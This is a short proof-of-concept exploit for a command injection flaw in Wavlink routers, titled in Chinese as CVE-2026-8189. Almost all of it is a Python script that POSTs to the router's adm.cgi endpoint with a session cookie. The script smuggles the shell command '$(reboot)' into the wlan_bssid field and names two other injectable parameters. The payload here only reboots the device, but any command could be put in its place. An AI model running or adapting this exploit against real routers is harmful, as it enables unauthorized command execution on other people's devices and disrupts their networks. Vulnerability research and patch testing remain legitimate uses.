CVE-2026-8189 Wavlink路由器命令注入漏洞

import requests # Target URL url = "http://<target_ip>/cgi-bin/adm.cgi" # Data payload with command injection # The vulnerability affects parameters: wlan_bssid, sel_Automode, sel_EncrypTyp # Example payload in wlan_bssid payload_data = { "action": "wzdrepeater", "wlan_bssid": "$(reboot)", # Injected command to reboot the device "sel_Automode": "1", "sel_EncrypTyp": "1" } # Headers (might need authentication cookies based on PR:L) headers = { "Cookie": "<admin_session_cookie>" } try: response = requests.post(url, data=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("Request sent successfully. Check if command executed.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")